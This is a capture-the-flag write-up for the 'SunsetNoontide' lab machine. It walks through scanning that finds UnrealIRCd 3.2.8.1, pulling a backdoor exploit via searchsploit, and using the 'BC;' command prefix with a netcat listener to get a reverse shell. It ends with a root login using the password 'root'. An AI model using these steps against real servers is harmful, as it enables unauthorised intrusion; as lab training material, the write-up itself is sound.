# SunsetNoontide

## nmap

```
(base) [psdon@arch sunsetnoontide]$ sudo rustscan -a 192.168.85.120 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan                                                                                     
[sudo] password for psdon:                                                                                                                                                                                           
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.                                                                                                                                                             
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |                                                                                                                                                             
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |                                                                                                                                                             
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'                                                                                                                                                             
The Modern Day Port Scanner.                                                                                                                                                                                         
________________________________________                                                                                                                                                                             
: https://discord.gg/GFrQsGy           :                                                                                                                                                                             
: https://github.com/RustScan/RustScan :                                                                                                                                                                             
 --------------------------------------                                                                                                                                                                              
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan                                                                                                                                     
                                                                                                                                                                                                                     
[~] The config file is expected to be at "/root/.rustscan.toml"                                                                                                                                                      
[~] Automatically increasing ulimit value to 5000.                                                                                                                                                                   
Open 192.168.85.120:6667                                                                                                                                                                                             
Open 192.168.85.120:6697                                                                                                                                                                                             
Open 192.168.85.120:8067 
```

You can see there's 3 ports open running UnrealIRCd

```
PORT     STATE SERVICE REASON         VERSION                                                                                                                                                                        
6667/tcp open  irc     syn-ack ttl 63 UnrealIRCd (Admin email example@example.com)                                                                                                                                   
6697/tcp open  irc     syn-ack ttl 63 UnrealIRCd (Admin email example@example.com)                                                                                                                                   
8067/tcp open  irc     syn-ack ttl 63 UnrealIRCd (Admin email example@example.com)                                                                                                                                   
```

## Login to IRC using Hexchat

First add a server in the Hexcat application

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MhycjlArFuAB3pqqT-1%2F-Mhyg2vtkx_uEbXdin8U%2Fimage.png?alt=media&#x26;token=793d31cb-c2e7-4c69-bac8-ca600f8fbbac" alt=""></div>

Edit the configuration with the machine IP Address and the port, and close the window

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MhycjlArFuAB3pqqT-1%2F-MhygLG0dAwMyFJAO8O9%2Fimage.png?alt=media&#x26;token=b50af78b-1376-448c-935e-4b5394deadc7" alt=""></div>

After doing that you should be able to connect, and you can see the UnrealIRCd version (3.2.8.1)

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MhycjlArFuAB3pqqT-1%2F-Mhygw2g2rQ6BEqkrajc%2Fimage.png?alt=media&#x26;token=0aa477ad-ffaa-422b-843f-0377bafda73c" alt=""></div>

## Searchsploit

```
(base) [psdon@arch sunsetnoontide]$ searchsploit unreal                                                                                                                                                              
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                     |  Path                           
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------                                                                                                                    | windows/dos/14414.txt           
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                                                                                                                       | linux/remote/16922.rb           
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                                                                                                                            | windows/dos/18011.txt           
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                                                                                                                     | linux/remote/13853.pl           
UnrealIRCd 3.x - Remote Denial of Service                                                                                                                                          | windows/dos/27407.pl            
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
```

Let's copy `UnrealIRCd 3.2.8.1 - Remote Downloader/Execute` exploit to our local machine

```
(base) [psdon@arch sunsetnoontide]$ searchsploit -m linux/remote/13853.pl                                                                                                                                            
  Exploit: UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                                                                                                                                            
      URL: https://www.exploit-db.com/exploits/13853                                                                                                                                                                 
     Path: /usr/share/exploitdb/exploits/linux/remote/13853.pl                                                                                                                                                       
File Type: Perl script text executable                                                                                                                                                                               
                                                                                                                                                                                                                     
Copied to: /home/psdon/infosec/pg/sunsetnoontide/13853.pl
```

If you will analyze the source code, you will notice the script is just sending the payload directly to the IRC Server right after being connected to it

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MhycjlArFuAB3pqqT-1%2F-MhyjBsIrCK8eDXSYDjX%2Fimage.png?alt=media&#x26;token=7bf48f77-b1cc-416c-a13b-9add47fa1849" alt=""></div>

And the payloads are prepended with `BC;` before the command execution

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MhycjlArFuAB3pqqT-1%2F-MhyjaYT0WMmAcOgAgii%2Fimage.png?alt=media&#x26;token=b3ed0f8d-2e22-41ba-a90a-7ca0d8d52671" alt=""></div>

It means we can send this payload using netcat

## Netcat

First let's set a netcat listener

```
(base) [psdon@arch sunsetnoontide]$ nc -lvnp 4545 
```

Connect to the target machine on port 8067, and right after you have received the very first response from the server, you have to send the payload straight away

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MhycjlArFuAB3pqqT-1%2F-Mhykn3l0T7X2d8ShmpF%2Fimage.png?alt=media&#x26;token=5f00aa63-75fc-4750-92ff-c160c2c8aede" alt=""></div>

And you should get a reverse shell.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MhycjlArFuAB3pqqT-1%2F-MhylN8yPu9uIpwCgjKe%2Fimage.png?alt=media&#x26;token=048d0620-7c7d-41e6-bdfb-dd0cc2e43121" alt=""></div>

## Privilege Escalation

```
server@noontide:~$ su root                                                                                                                                                                                           
Password: root                                                                                                                                                                                                   
root@noontide:/home/server# 
```

